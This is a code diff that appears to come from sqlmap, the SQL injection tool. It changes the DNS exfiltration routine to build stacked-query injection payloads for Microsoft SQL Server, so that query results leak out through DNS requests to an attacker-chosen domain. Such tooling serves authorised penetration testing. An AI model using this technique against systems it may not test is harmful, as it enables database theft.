1313from lib .core .agent import agent
1414from lib .core .common import Backend
1515from lib .core .common import calculateDeltaSeconds
16+ from lib .core .common import cleanQuery
1617from lib .core .common import dataToStdout
1718from lib .core .common import decodeHexValue
1819from lib .core .common import extractRegexResult
1920from lib .core .common import getSPLSnippet
2021from lib .core .common import hashDBRetrieve
2122from lib .core .common import hashDBWrite
23+ from lib .core .common import pushValue
24+ from lib .core .common import popValue
2225from lib .core .common import randomInt
2326from lib .core .common import randomStr
2427from lib .core .common import safecharencode
2932from lib .core .data import logger
3033from lib .core .data import queries
3134from lib .core .enums import DBMS
35+ from lib .core .enums import PAYLOAD
3236from lib .core .settings import MAX_DNS_LABEL
3337from lib .core .settings import PARTIAL_VALUE_MARKER
3438from lib .core .unescaper import unescaper
@@ -53,6 +57,7 @@ def dnsUse(payload, expression):
5357
5458 if output is None :
5559 kb .dnsMode = True
60+ pushValue (kb .technique )
5661
5762 while True :
5863 count += 1
@@ -67,8 +72,18 @@ def dnsUse(payload, expression):
6772 expressionRequest = getSPLSnippet (Backend .getIdentifiedDbms (), "dns_request" , PREFIX = prefix , QUERY = expressionReplaced , SUFFIX = suffix , DOMAIN = conf .dnsDomain )
6873 expressionUnescaped = unescaper .unescape (expressionRequest )
6974
70- forgedPayload = safeStringFormat (payload , (expressionUnescaped , randomInt (1 ), randomInt (3 )))
71- Request .queryPage (forgedPayload , content = False , raise404 = False )
75+
76+ if Backend .isDbms (DBMS .MSSQL ):
77+ kb .technique = PAYLOAD .TECHNIQUE .STACKED
78+ expression = cleanQuery (expression )
79+
80+ comment = queries [Backend .getIdentifiedDbms ()].comment .query
81+ query = agent .prefixQuery ("; %s" % expressionUnescaped )
82+ query = agent .suffixQuery ("%s;%s" % (query , comment ))
83+ forgedPayload = agent .payload (newValue = query )
84+ else :
85+ forgedPayload = safeStringFormat (payload , (expressionUnescaped , randomInt (1 ), randomInt (3 )))
86+ Request .queryPage (forgedPayload , content = False , noteResponseTime = False , raise404 = False )
7287
7388 _ = conf .dnsServer .pop (prefix , suffix )
7489 if _ :
@@ -81,6 +96,7 @@ def dnsUse(payload, expression):
8196 else :
8297 break
8398
99+ kb .technique = popValue ()
84100 kb .dnsMode = False
85101
86102 if output is not None :
0 commit comments